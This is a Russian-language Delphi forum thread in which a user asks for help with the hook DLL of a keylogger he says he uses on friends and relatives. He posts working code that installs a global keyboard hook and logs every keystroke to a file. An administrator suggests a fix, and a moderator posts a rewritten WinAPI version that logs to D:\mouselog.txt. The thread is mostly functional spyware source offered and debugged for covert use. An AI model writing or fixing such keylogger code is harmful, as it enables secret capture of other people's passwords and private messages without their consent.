Воскресенье, 22.12.2024, 06:02 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: xXxSh@dowxXx, Anton93, Волк-1024  
Проблемы с DLL
cool1Дата: Пятница, 01.10.2010, 15:54 | Сообщение # 1
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
HELP у меня есть кей логгер (ну его использование у друзей родственников и т.п.)
Состоит из:
Reader'a - ридер читает записи в логе без трудов
Сам логгер
Потом есть папка hook
В папке hook есть dll'ka
В ней проблема! Она настроена так что сохраняет лог.тхт в своей папке hook
почемуто файл лог.txt не создается в чем проблема?
вот dll'ka:
Code

library hook;
Uses Windows, Messages, Sysutils;

var
   myHook: HHook = 0;

function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var c: char;
     f: text;
     key: array [0..16] of Char;
begin
   if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
   begin
   Assign(f,'log.txt');
   if FileExists('log.txt') then
   Append(f) else Rewrite(f);

   GetKeyNameText(lParam,key,SizeOf(key));

   Writeln(f,key);
   CloseFile(f);
   //Wnd:=wParam;
   //getWindowText(Wnd,str2,255);
   //str:=str2;
   //if str<>'' then MessageBox(0,PChar(str),'',mb_TaskModal);
   //end;
   //if str='Диспетчер задач Windows' then result:=0 else
   result:=CallNextHookEx(myHook,Code,wParam,lParam);
   //result:=0;
   end;
end;

procedure setHook(Hook: boolean) export; stdcall;
begin
   if Hook then
   begin
     if myHook=0 then
     myHook:=SetWindowsHookEx(WH_KEYBOARD,@MsgProc,HInstance,0);
   end
   else
   begin
     if myHook<>0 then
     UnHookWindowsHookEx(myHook);
     myHook:=0;
   end;
end;

exports setHook name 'SetHook';

begin
end.



За помощь ставьте +!
 
dolphinДата: Суббота, 02.10.2010, 00:50 | Сообщение # 2
Администратор
Сообщений: 906
Статус: Offline
Попробуй вместо апенд -> резет

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
C@TДата: Воскресенье, 03.10.2010, 15:42 | Сообщение # 3
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
а лутше на вин апи написать

Code

function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var
      f: cardinal;
      nw:cardinal;
      key: array [0..16] of Char;
      Enter: array [0..1] of char;
begin
    result:=CallNextHookEx(myHook,Code,wParam,lParam);

    if (Lparam < 0) then
    begin
      Enter := #13#10;
      GetKeyNameText(lParam,key,SizeOf(key));  
      f:=CreateFileA('D:\mouselog.txt',GENERIC_ALL,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);//открываем файл, если его нет то создайом новый
      SetFilePointer(f,GetFileSize(f,0),0,0);//идем к концу файла
      WriteFile(f,key,SizeOf(key),nw,0);//пишем букву
      WriteFile(f,Enter,2,nw,0);
      CloseHandle(f);
    end;
end;  


 
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz